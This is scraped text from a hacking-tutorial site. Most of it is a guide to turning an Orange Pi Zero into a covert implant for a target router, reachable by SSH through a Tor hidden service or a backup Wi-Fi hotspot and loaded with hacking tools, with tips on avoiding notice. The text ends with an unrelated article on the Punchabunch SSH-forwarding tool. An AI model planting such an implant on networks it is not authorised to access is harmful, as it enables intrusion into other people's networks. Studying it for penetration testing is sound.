detected [ 31.429196] scsi host3: usb-storage 2-1:1.0 [ 31.429381] usbcore: registered new interface driver usb-storage [ 31.441631] usbcore: registered new interface driver uas [ 32.450075] scsi 3:0:0:0: Direct-Access Generic- USB3.0 CRW -SD 1.00 PQ: 0 ANSI: 6 [ 32.458690] scsi 3:0:0:1: Direct-Access Generic- USB3.0 CRW -SD 1.00 PQ: 0 ANSI: 6 [ 32.459431] sd 3:0:0:0: Attached scsi generic sg2 type 0 [ 32.459991] sd 3:0:0:1: Attached scsi generic sg3 type 0 [ 32.468754] sd 3:0:0:0: [sdb] 31116288 512-byte logical blocks: (15.9 GB/14.8 GiB) [ 32.471278] sd 3:0:0:0: [sdb] Write Protect is off [ 32.471279] sd 3:0:0:0: [sdb] Mode Sense: 2f 00 00 00 [ 32.473801] sd 3:0:0:0: [sdb] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA [ 32.477495] sd 3:0:0:1: [sdc] Attached SCSI removable disk [ 32.526834] sdb: sdb1 sdb2 [ 32.536433] sd 3:0:0:0: [sdb] Attached SCSI removable diskTake note of the sdXdrive letter assigned to the microSD card, in my case, sdb2. This assignment is required for the followingddcommand, which will copy the IMG file from the first step to the microSD card. Replace the "X" in sdX for your card's info.~$ dd if=/path/to/Armbian_5.75_Orangepizero_Debian_stretch_next_4.19.20.img of=/dev/sdX bs=512k status=progress 1119354880 bytes (1.1 GB, 1.0 GiB) copied, 53 s, 21.1 MB/s 2144+0 records in 2144+0 records out 1124073472 bytes (1.1 GB, 1.0 GiB) copied, 97.1421 s, 11.6 MB/sWhen dd is done, open the file manager and properly eject the microSD card.Step 3: Connect the Orange Pi Zero to Your RouterRemove the microSD card from the computer and insert it into the Orange Pi Zero. The Orange Pi Zero isn't ready to be deployed on the target router by default, as in it's not weaponized yet. To get started, connect it (via Ethernet) to a router that you control. Then, wait about five minutes for the Orange Pi Zero to fully boot for the first time.Image by tokyoneon/Null ByteStep 4: Discover the Orange Pi Zero's IP AddressThe IP address of the Orange Pi Zero may not be immediately apparent as there is no desktop interface or convenient way to interact with it right now. However, from another device on the same router (e.g., Kali),Nmapcan be used to locate the Orange Pi Zero's IP address quickly. Use the-T(timing template) and-sn(ping) options to scan the entire network for active hosts.~$ nmap -T4 -sn 192.168.1.1/24 Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-13 06:30 UTC Nmap scan report for 192.168.0.165 Host is up (0.00063s latency). MAC Address: XX:XX:XX:XX:XX:XX (Unknown) Nmap scan report for 192.168.0.1 Host is up. Nmap done: 256 IP addresses (2 hosts up) scanned in 4.75 secondsAs we can see, there's a device reported on192.168.0.165. To identify this device as the Orange Pi Zero, try using the below SSH command.Step 5: SSH into the Orange Pi ZeroThe default SSH password is "1234" but users are required to reset the password and create a new account after logging in for the first time.~$ ssh -p 22 root@192.168.0.165 The authenticity of host '192.168.0.165 (192.168.0.165)' can't be established. ECDSA key fingerprint is SHA256:PE6127Kvx+twOLWK90mJDUQSUggH5ujh3h8liuLCR7w. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.0.165' (ECDSA) to the list of known hosts. root@192.168.0.165's password: You are required to change your password immediately (root enforced) ___ ____ _ _____ / _ \ _ __ __ _ _ __ __ _ ___ | _ \(_) |__ /___ _ __ ___ | | | | '__/ _` | '_ \ / _` |/ _ \ | |_) | | / // _ \ '__/ _ \ | |_| | | | (_| | | | | (_| | __/ | __/| | / /| __/ | | (_) | \___/|_| \__,_|_| |_|\__, |\___| |_| |_| /____\___|_| \___/ |___/ Welcome to ARMBIAN 5.75 stable Debian GNU/Linux 9 (stretch) 4.19.20-sunxi System load: 0.08 0.09 0.07 Up time: 7 min Memory usage: 12 % of 493MB IP: 192.168.0.165 CPU temp: 43Β°C Usage of /: 6% of 15G New to Armbian? Check the documentation first: https://docs.armbian.com Changing password for root. (current) UNIX password: Enter new UNIX password: Retype new UNIX password:Follow the prompts in the terminal window β€” the process is pretty straightforward. The new account won't ever be used, but this process can't be skipped. The name, room number, and phone number values can be left blank.Creating a new user account. Press <Ctrl-C> to abort Please provide a username (eg. your forename): orangepi Trying to add user orangepi Adding user `orangepi' ... Adding new group `orangepi' (1000) ... Adding new user `orangepi' (1000) with group `orangepi' ... Creating home directory `/home/orangepi' ... Copying files from `/etc/skel' ... Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully Changing the user information for orangepi Enter the new value, or press ENTER for the default Full Name []: Room Number []: Work Phone []: Home Phone []: Other []: Is the information correct? [Y/n] y Dear orangepi, your account orangepi has been created and is sudo enabled. Please use this account for your daily work from now on. root@orangepizero:~#Step 6: Update the Orange Pi ZeroWith that done, use the below command to update the system. There will likely be a few out-of-date packages that need to be installed.During this process, the SSH connection may stall or break, which happens because theopenssh-serverandwpasupplicantpackages are being updated. Do not shut off the Orange Pi Zero during this time. The SSH connection may reconnect on its own. Be patient here.root@orangepizero:~# apt-get update && apt-get dist-upgrade Reading package lists... Done Building dependency tree Reading state information... Done Calculating upgrade... Done The following packages will be upgraded: base-files (9.9+deb9u7 => 9.9+deb9u8) dirmngr (2.1.18-8~deb9u3 => 2.1.18-8~deb9u4) gnupg (2.1.18-8~deb9u3 => 2.1.18-8~deb9u4) gnupg-agent (2.1.18-8~deb9u3 => 2.1.18-8~deb9u4) gnupg2 (2.1.18-8~deb9u3 => 2.1.18-8~deb9u4) gpgv (2.1.18-8~deb9u3 => 2.1.18-8~deb9u4) libc-bin (2.24-11+deb9u3 => 2.24-11+deb9u4) libc-dev-bin (2.24-11+deb9u3 => 2.24-11+deb9u4) libc-l10n (2.24-11+deb9u3 => 2.24-11+deb9u4) libc6 (2.24-11+deb9u3 => 2.24-11+deb9u4) libc6-dev (2.24-11+deb9u3 => 2.24-11+deb9u4) libnss-myhostname (232-25+deb9u8 => 232-25+deb9u11) libntfs-3g871 (1:2016.2.22AR.1+dfsg-1 => 1:2016.2.22AR.1+dfsg-1+deb9u1) libpam-systemd (232-25+deb9u8 => 232-25+deb9u11) libssl1.0.2 (1.0.2q-1~deb9u1 => 1.0.2r-1~deb9u1) libsystemd0 (232-25+deb9u8 => 232-25+deb9u11) libudev1 (232-25+deb9u8 => 232-25+deb9u11) libxapian30 (1.4.3-2+deb9u2 => 1.4.3-2+deb9u3) locales (2.24-11+deb9u3 => 2.24-11+deb9u4) multiarch-support (2.24-11+deb9u3 => 2.24-11+deb9u4) ntfs-3g (1:2016.2.22AR.1+dfsg-1 => 1:2016.2.22AR.1+dfsg-1+deb9u1) openssh-client (1:7.4p1-10+deb9u4 => 1:7.4p1-10+deb9u6) openssh-server (1:7.4p1-10+deb9u4 => 1:7.4p1-10+deb9u6) openssh-sftp-server (1:7.4p1-10+deb9u4 => 1:7.4p1-10+deb9u6) systemd (232-25+deb9u8 => 232-25+deb9u11) systemd-sysv (232-25+deb9u8 => 232-25+deb9u11) tzdata (2018i-0+deb9u1 => 2019a-0+deb9u1) udev (232-25+deb9u8 => 232-25+deb9u11) wget (1.18-5+deb9u2 => 1.18-5+deb9u3) wpasupplicant (2:2.4-1+deb9u2 => 2:2.4-1+deb9u3) 30 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 22.1 MB of archives. After this operation, 24.6 kB of additional disk space will be used. Do you want to continue? [Y/n]If it doesn't reconnect automatically after several minutes, pressCtrl+cto exit the terminal. Then, SSH back into the device and run theapt-getcommands again to ensure everything was correctly installed.Shut down the Orange Pi Zero when this process is complete. Give the device at least two minutes to properly shutdown.root@orangepizero:~# shutdown nowFinally, power the Orange Pi Zero back on by unplugging and replugging the USB power supply, and SSH back in to it.Step 7: Configure the Orange Pi Zero for Remote AccessNow, the Orange Pi Zero has to be remotely accessible, preferably from anywhere in the world. A few solutions came to mind when thinking about how to set this up. There areOpenVPNandNgrok-style servicesthat could be used to create a connection into the Orange Pi Zero. However, I think the usage ofToras well as configuring the Orange Pi Zero as a Wi-Fi hotspot are more fun.The first (recommended) method requires Tor. Tor and SSH can be coupled to allow remote access to the Orange Pi Zero from anywhere in the world without configuring port-forwarding on the target router.The second method (as a backup solution) requires configuring the Orange Pi Zero to act as a Wi-Fi hotspot. An attacker within proximity of the Orange Pi Zero's Wi-Fi hotspot could connect to the network and SSH into the device.Both methods can be configured simultaneously without conflicting with each other. I recommend setting up Tor as the primary way of connecting to the Orange Pi Zero remotely, and the Wi-Fi hotspot as a backup solution in case the router doesn't have DHCP enabled or if the Tor process for some reason breaks.Option 1: Install TorOn the Orange Pi Zero, add the Tor Project's repository to your APT repository list with the followingechocommand.root@orangepizero:~# echo -e "deb https://deb.torproject.org/torproject.org $(lsb_release -sc) main \ndeb-src https://deb.torproject.org/torproject.org $(lsb_release -sc) main" > /etc/apt/sources.list.d/tor.listThen, download theTor Project's package signing keyand import it into the APT keyring.root@orangepizero:~# wget -O- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | sudo apt-key add - --2019-04-13 07:32:06-- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc Resolving deb.torproject.org (deb.torproject.org)... 95.216.163.36 Connecting to deb.torproject.org (deb.torproject.org)|95.216.163.36|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 19665 (19K) [text/plain] Saving to: β€˜STDOUT’ - 100%[===================================>] 19.20K 52.4KB/s in 0.4s 2019-04-13 07:32:21 (52.4 KB/s) - written to stdout [19665/19665] OKThe "OK" output should occur when the signing key has been added to the keyring. Next, update APT using the belowapt-getcommand.root@orangepizero:~# apt-get update Ign:1 http://cdn-fastly.deb.debian.org/debian stretch InRelease Hit:2 http://security-cdn.debian.org stretch/updates InRelease Hit:3 http://cdn-fastly.deb.debian.org/debian stretch-updates InRelease Hit:4 http://cdn-fastly.deb.debian.org/debian stretch-backports InRelease Hit:5 http://cdn-fastly.deb.debian.org/debian stretch Release Get:7 https://deb.torproject.org/torproject.org stretch InRelease [4,965 B] Get:8 https://deb.torproject.org/torproject.org stretch/main Sources [1,253 B] Get:9 https://deb.torproject.org/torproject.org stretch/main armhf Packages [3,482 B] Fetched 9,700 B in 40s (241 B/s) Reading package lists... DoneInstall Tor using the below command.root@orangepizero:~# apt-get install tor deb.torproject.org-keyring torsocks Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: deb.torproject.org-keyring (2018.08.06) libevent-2.0-5 (2.0.21-stable-3) libzstd1 (1.1.2-1) tor (0.3.5.8-1~d90.stretch+1) torsocks (2.2.0-1+deb9u1) 0 upgraded, 5 newly installed, 0 to remove and 0 not upgraded. Need to get 2,082 kB of archives. After this operation, 4,845 kB of additional disk space will be used. Do you want to continue? [Y/n]Tor will be started automatically. Stop it momentarily while the following commands are being executed.root@orangepizero:~# systemctl stop torAdd the following "HiddenServiceDir" and "HiddenServicePort" lines to the Tor configuration file located at /etc/tor/torrc. This can be done with the belowechocommand.root@orangepizero:~# echo -e "HiddenServiceDir /var/lib/tor/orangepi/\nHiddenServicePort 22 127.0.0.1:22" >> /etc/tor/torrcQuickly check to make sure the command was executed successfully. Usetailto read the bottom lines of the torrc file.root@orangepizero:~# tail /etc/tor/torrc HiddenServiceDir /var/lib/tor/orangepi/ HiddenServicePort 22 127.0.0.1:22To generate the new onion address, restart the Tor process using thesystemctlcommand.root@orangepizero:~# systemctl restart torThe onion address (i.e., the hostname) can be identified using thecatcommand to read the hostname file.root@orangepizero:~# cat /var/lib/tor/orangepi/hostname kclikhrwriz4cpxli4paiyzoft7lviv2z6jxd7uyoxesrpxpsve2feqd.onionTo ensure the Tor process is started whenever the Orange Pi Zero is powered on, use thesystemctlto enable it.root@orangepizero:~# systemctl enable tor Synchronizing state of tor.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install enable torIn Kali on your computer, installtorandtorsocksas well.~$ apt-get update && apt-get install torsocks Get:1 https://kali.download/kali kali-rolling InRelease [30.5 kB] Get:2 https://kali.download/kali kali-rolling/main amd64 Packages [17.1 MB] Fetched 17.1 MB in 49s (350 kB/s) Reading package lists... Done Reading package lists... Done Building dependency tree Reading state information... Done tor is already the newest version (0.3.5.8-1). torsocks is already the newest version (2.3.0-2). 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.That's all there is to it. From here on, the Orange Pi Zero will be accessible using this onion address while connected to a target router. In Kali, the followingsshcommand can be used to connect to the Orange Pi Zero.~$ torsocks ssh -p 22 root@kclikhrwriz4cpxli4paiyzoft7lviv2z6jxd7uyoxesrpxpsve2feqd.onionOption 2: Configure a Wi-Fi HotspotIn my tests, the Wi-Fi hotspot functionality was somewhat unreliable. The DHCP service on the Orange Pi Zero seemed to fail, so devices need to bestatically configuredand SSH connections still seem to stall or break unexpectedly.While authenticated to the Orange Pi Zero hotspot, the connecting device will not have access to the internet. These issues are a limitation of the Orange Pi Zero's Wi-Fi hardware, no doubt. But these are not reasons to avoid using the Orange Pi Zero as a Wi-Fi hotspot. It can still act as a last resort solution to remotely connect to the Orange Pi Zero's SSH server in the event the Tor process stops working for some unknown reason. A flaky, unreliable Wi-Fi connection into the device is still better than no way of interfacing with it at all.Alternatively, usingKali as a Wi-Fi hotspotandconfiguring the Orange Pi Zero to connect to itmay function more reliable. This configuration is beyond the scope of the article and untested. You are encouraged to try that method yourself.To get started setting up the Orange Pi Zero as a hotspot, install thednsmasqrequired dependencies.root@orangepizero:~# apt-get install dnsmasq dnsmasq-base Reading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: dnsmasq-base Recommended packages: dns-root-data The following NEW packages will be installed: dnsmasq dnsmasq-base 0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded. Need to get 409 kB of archives. After this operation, 817 kB of additional disk space will be used. Do you want to continue? [Y/n]The wireless interface will most likely be a generic "wlan0," but to be sure, use theipcommand to list the interfaces.root@orangepizero:~# ip addr 4: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000 link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ffThe wlan0 interface appears as the fourth interface on my Orange Pi Zero. Use the "wlan0" interface name in the following command.Nmcliis a command-line tool designed to create, display, edit, delete, activate, and deactivate network connections, as well as control and display network device status. This tool will be used to create the Orange Pi Zero's Wi-Fi hotspot via command line. All of the followingnmclicommands can be copied and pasted without modifying a single line.root@orangepizero:~# nmcli con add type wifi ifname wlan0 con-name Hotspot autoconnect yes ssid OrangePi Connection 'Hotspot' (ae7c3d23-b5f3-424c-8a43-41bf6161978f) successfully added.This command will create the base configuration file for the Wi-Fi hotspot. Next, modify the wireless mode using the below command.root@orangepizero:~# nmcli con modify Hotspot 802-11-wireless.mode ap 802-11-wireless.band bg ipv4.method sharedModify the security type to WPA-PSK.root@orangepizero:~# nmcli con modify Hotspot wifi-sec.key-mgmt wpa-pskSet a secure password to protect the hotspot. My example uses a simple "orangepi" password for demonstration purposes.root@orangepizero:~# nmcli con modify Hotspot wifi-sec.psk "orangepi"Reset the Wi-Fi hotspot by first disabling (down) it.root@orangepizero:~# nmcli con down Hotspot Connection 'Hotspot' successfully deactivated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/7)Then, reenabling (up) it.root@orangepizero:~# nmcli con up Hotspot Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/8)Use theip addrcommand again to verify the wlan0 interface acquired an IP address.root@orangepizero:~# ip addr 4: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff inet 10.42.0.1/24 brd 10.42.0.255 scope global wlan0 valid_lft forever preferred_lft forever inet6 xxxx::xxxx:xxxx:xxxx:xxxx/64 scope link valid_lft forever preferred_lft foreverNotice the10.42.0.1/24address. When devices connect to the Wi-Fi hotspot, they should allocate the 10.42.0.2, 10.42.0.3, and 10.42.0.4 addresses.The Wi-Fi hotspot should now be visible to devices in the area (shown below). Remember, devices connecting to the Wi-Fi hotspot must be statically configured. UserLAnd and Tmux users can follow the below Android example. Kali users can scroll further down to find instructions.Option 1: Android DevicesTo start, select the "OrangePi" hotspot in the Wi-Fi settings. Enter the "orangepi" password that was previously configured.Tap the "Advanced options" dropdown. Change the IP settings to "Static." Set the IP address to "10.42.0.2," the Gateway to "10.42.0.1," the Network prefix length to "24," and the DNS 1 to "10.42.0.1" as well. The DNS 2 value can remain blank. Then, hit the "Connect" button. After a few seconds, the device should connect and report "Connect, no internet" β€” this is to be expected.Open Tmux or a UserLAnd distribution and connect to the SSH server running on the Orange Pi Zero.~$ ssh -p 22 root@10.42.0.1Again, this is an idle solution for quickly connecting the Orange Pi Zero in the event the Tor process stops working. This would allow for some remote administration that doesn't require completely retrieving the Orange Pi Zero.Option 2: Kali LinuxKali can also be configured to statically connect to the "OrangePi" Wi-Fi hotspot for remote administration. Start by opening the Network Connections window. This example uses XFCE4, but GNOME users should be able to follow along. Select the "Add a new connection" button.Select the "Wi-Fi" connection type, and click the "Create" button.Set the SSID to match the Orange Pi Zero's Wi-Fi name (e.g., "OrangePi") and choose the "wlan0" interface that should automatically connect to the hotspot when it's in the proximity of the Kali machine.Open the Wi-Fi Security tab and change the Security type to "WPA & WPA2 Personal." Then, enter the "orangepi" password.Open the IPv4 Settings tab and change the Method to "Manual." Then, click the "Add" button and use the following 10.42.0.X IP address, Netmask, and Gateway.Click the "Save" button, and Kali should automatically connect to the OrangePi hotspot. This can be verified using the belowipcommand.~$ ip addr 4: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff promiscuity 0 minmtu 256 maxmtu 2304 numtxqueues 4 numrxqueues 1 gso_max_size 65536 gso_max_segs 65535 inet 10.42.0.2/24 brd 10.42.0.255 scope global noprefixroute wlan0 valid_lft forever preferred_lft forever inet6 xxxx::xxxx:xxxx:xxxx:xxxx/64 scope link noprefixroute valid_lft forever preferred_lft foreverLastly, open a terminal and SSH into the Orange Pi Zero.~$ ssh -p 22 root@10.42.0.1 The authenticity of host '10.42.0.1 (10.42.0.1)' can't be established. ECDSA key fingerprint is SHA256:PE6127Kvx+twOLWK90mJDUQSUggH5ujh3h8liuLCR7w. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.42.0.1' (ECDSA) to the list of known hosts. root@10.42.0.1's password: ___ ____ _ _____ / _ \ _ __ __ _ _ __ __ _ ___ | _ \(_) |__ /___ _ __ ___ | | | | '__/ _` | '_ \ / _` |/ _ \ | |_) | | / // _ \ '__/ _ \ | |_| | | | (_| | | | | (_| | __/ | __/| | / /| __/ | | (_) | \___/|_| \__,_|_| |_|\__, |\___| |_| |_| /____\___|_| \___/ |___/ Welcome to ARMBIAN 5.75 stable Debian GNU/Linux 9 (stretch) 4.19.20-sunxi System load: 0.20 0.05 0.02 Up time: 54 min Memory usage: 14 % of 493MB IP: 192.168.0.165 10.42.0.1 CPU temp: 48Β°C Usage of /: 7% of 15G Last login: Sat Apr 13 16:13:13 2019 from 127.0.0.1 root@orangepizero:~#Step 8: Install Hacking ToolsThe Orange Pi Zero is just about ready for deployment at this point. With two methods of remote access set up, hacking tools can now be installed in the operating system.It helps to preemptively decide which kinds of attacks will be performed on the target network. Tools can always be installed while connected to the target router, but it's usually better to minimize the amount of data being used by the device. An apt-get command, for example, might put a spike in the router's bandwidth and/or make other user's connected to the router suspicious.Some recommended, essential tools arescreen,git, andnmap. Screen is a great multiplexer that can help with a broken or unstable SSH connection. Git is used to install hacking tools found on GitHub. And Nmap because, well, it's Nmap. Network reconnaissance is vital.Some older versions ofsqlmap,nikto,medusa, andmitmproxycan be found in the Debian repositories, but not quite as many tools as Kali-natives will hope to expect. Other hacking tools will have to be installed with Git and from source.root@orangepizero:~# apt-get install screen git nmap Reading package lists... Done Building dependency tree Reading state information... Done git is already the newest version (1:2.11.0-3+deb9u4). screen is already the newest version (4.5.0-6). The following additional packages will be installed: libblas-common libblas3 libgfortran3 liblinear3 liblua5.3-0 libpcap0.8 Suggested packages: liblinear-tools liblinear-dev Recommended packages: ndiff The following NEW packages will be installed: libblas-common libblas3 libgfortran3 liblinear3 liblua5.3-0 libpcap0.8 nmap 0 upgraded, 7 newly installed, 0 to remove and 0 not upgraded. Need to get 5,648 kB of archives. After this operation, 24.0 MB of additional disk space will be used. Do you want to continue? [Y/n]That concludes the Orange Pi Zero setup for network implant attacks. In my next article, I'll talk about performing attacks while on the target network with tools likePatator,Bettercap, andRoutersploit, as well as some advanced Nmap recon withNSE scripts.Until next time, you can follow me on Twitter@tokyoneon_andGitHub. And as always, leave a comment below or message me on Twitter if you have any questions.Next Up:How to Perform Network-Based Attacks with an SBC ImplantWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null ByteRelatedHow To:Perform Network-Based Attacks with an SBC ImplantHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallHow To:Use the Koadic Command & Control Remote Access Toolkit for Windows Post-ExploitationNews:Replacement Joints with Antibiotics on Board Mean Lower Chance of Infection & Fewer SurgeriesHow To:Make a DIY Battery-Powered USB ChargerHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Create a Virtual Whiteboard with Multiple Android DevicesHow To:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266How To:Track a Package with UPSHow To:Create Rogue APs with MicroPython on an ESP8266 MicrocontrollerHow To:Get Started with MicroPython for ESP8266 MicrocontrollersHow To:Change a Phone's Coordinates by Spoofing Wi-Fi Geolocation HotspotsHow to Hack with Arduino:Defeat VPNs & Track a MacOS Computer RemotelyHow To:Control Anything with a Wi-Fi Relay Switch Using aRestHow To:Program a USB development board for cheapHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHow To:Build muscle with cheap furniture slider push upsHow To:Do single-leg flat bench standupsHow To:Do Your First Pull-Up and MoreHow To:Replace a Missing ToothHow To:Replace a Missing ToothHow To:Design Your Own Custom Arduino Board MicrocontrollerNews:Mentally Disturbed Woman Claims Implant Bomb as TSA Orders New Grope DirectiveHow To:Hook Up a Mixing Board with your ComputerHow To:Create Practically Anything, Part 1: Fritzing Circuit BoardsMake a Physical Computer Virus:Plant a Parasite to Prank Your PeepsNews:WATCH THIS INSTEAD - Grown UpsNews:LEGO Robotic Monster ChessNews:Grown UpsDIY Lab Equipment:How to Etch Your Own Circuit Boards Using a Laser PrinterScramble with Friends:Zynga's Newly Released Word Game for iOSHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningNews:Anne Hathaway Is a Scrabble FiendNews:German Sports Photographer Captures Every Goal, Foul & Kick in a Single PhotoNews:Social Network Trailer Ping ParodySolidoodle:Cheap 3D Printing at Home for Under $500!How To:Flash BenQ Xbox 360 Drives to Play XDG3 Back-upsChess:The Ultimate PvP On-the-GoNews:The Kick Ass Video Game!
Punchabunch Just Made SSH Local Forwarding Stupid Easy Β« Null Byte :: WonderHowTo
SSH local forwarding is a must for covering your tracks and getting out there to do your work. Also called SSH tunneling, this process will put one or more steps between your machine and the machine you're working on, for security and other purposes. It can be a bit daunting for newbies to get down, and that's wherePunchabunchcomes in.Punchabunch is a new SSH local port-forwarding script from Michael S. Fischer of Zendesk that will easily get you hopping away from your machine. All you need here is Linux, as in Kali, Ubuntu, or Debian. Whichever you prefer.Step 1: Get GoAs simple as Punchabunch is, at this point, it requires you to have Google'sGoorGoLangprogramming language installed on your system. If you're not sure whether or not you already have Go, open up your terminal, then type thegocommand and hit enter. If it looks like it does below, you're good to go.If you don't see the above after typinggo, you'll need to install GoLang, and it's really simple to do. Just use the following two commands to get it done.sudo apt-get updatesudo apt install golang-goAfterward, if you type thegocommand again, you should see what's pictured above.Step 2: Ready Your Go EnvironmentBefore you can install Punchabunch, you have to get our Go environment set up correctly. To do that, you need to type a few lines into the terminal so that Go knows where it lives, and so that Go will put its apps in the right place. Enter the two lines below one at a time, so Go will live in a directory just beneath your home directory, and moving forward, you'll know where to find everything it installs.export GOPATH=$HOME/goexport PATH=$PATH:$GOROOT/bin:$GOPATH/binStep 3: Install PunchabunchNow, download Punchabunch by entering the following command in your terminal:go get github.com/zendesk/punchabunchThis will tell Go to pull Punchabunch from GitHub, and put it in the right place, which is ingo/binbeneath your home directory, like mentioned earlier.Step 4: Set Up PunchabunchWith Go installed, and the Punchabunch parts living where they're supposed to be, we can easily set things up now. Change into your Punchabunch directory, which is at~/go/src/github.com/zendesk/punchabunch, then rename the included TOML file, which is calledconfig.example.toml, to the new nameexample.toml. The following command will copy the default TOML file into a new one calledexample.toml.cp config.example.toml example.tomlNow, open up and edit that file to populate it with your server data. I'm editing the file with the Vi editor.Don't Miss:An Intro to Vim, the Unix Text Editor Every Hacker Should Be Familiar WithDon't be intimidated by the "bastion" term you'll see. A bastion host is just a single-purpose computer designed to handle your SSH forwarding connections. You might have one or more of your own servers for this, such as in a secured corporate environment, on your own network, or another online place you use. Any computer running SSH that accepts incoming connections from youcanserve as the bastion host.Also needed are port numbers for each server, defined here by "listen." Most network setups don't usually run the traditional port for SSH forwarding, so you'll need to figure that out for your configuration.Finally, know where you want to go after your stop at the bastion hostβ€”that's the "forward" address here.Step 5: Run PunchabunchNow that you've got everything straight, and the information in place for the servers you want to hit, it's time to run Punchabunch. Remember, you're running Go now, so this will run through Go, but it will feel like a regular script because of the way we set everything up. Just make sure you're still in~/go/src/github.com/zendesk/punchabunchto run the following command.punchabunchNote: I'm running the script with the default configuration, which will fail in my case, but the failure to connect will prove it's working because it tried!To prevent this error, make sure that your settings reflect real bastion, or "jump" servers, that you actually use.What Punchabunch Is & Isn'tTo be fair, Punchabunch doesn't do anything that an assortment of other scripts can't do, it just simplifies the setup and ongoing maintenance. Remember theexample.tomlfile? Just input whatever servers you want to use, then run it. Sure, the Go or GoLang setup complicated this exercise a bit, but now you've got the world of Go open to you, and this won't be the last time we visit Go.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by EvilToddler/Null ByteRelatedHow To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Use Remote Port Forwarding to Slip Past Firewall Restrictions UnnoticedHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)Rasberry Pi:Connecting on ComputerSSH the World:Mac, Linux, Windows, iDevices and Android.How To:Spy on SSH Sessions with SSHPry2.0How To:Enable the New Native SSH Client on Windows 10How To:Scan Websites for Interesting Directories & Files with GobusterSPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:Create a Native SSH Server on Your Windows 10 SystemHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:Hack Metasploitable 2 Part 1How To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Share Your LAN Minecraft World with Your Linux-Savvy FriendsHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Push and Pull Remote Files Securely Over SSH with PipesNews:Stupid GlueNews:More Stupid Math Jokes...How To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow To:Get the 'What Goes Up...' Achievement in Modern Warfare 3News:Goat Tug of WarNews:All you have to know about this serverNews:Japan World Cup Horse RacingNews:Wussup im new so show me around, k?News:MembersNews:Foam Pit Pool PrankNews:LA Live on PBS July 31stNews:KCRW podcast on ereaders & the physical bookHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Run an FTP Server from Home with LinuxNews:Richard Stallman's RiderCoupeville:Mussels, Suds, & Pool
Hack Like a Pro: How to Fingerprint Web Servers Using Httprint Β« Null Byte :: WonderHowTo
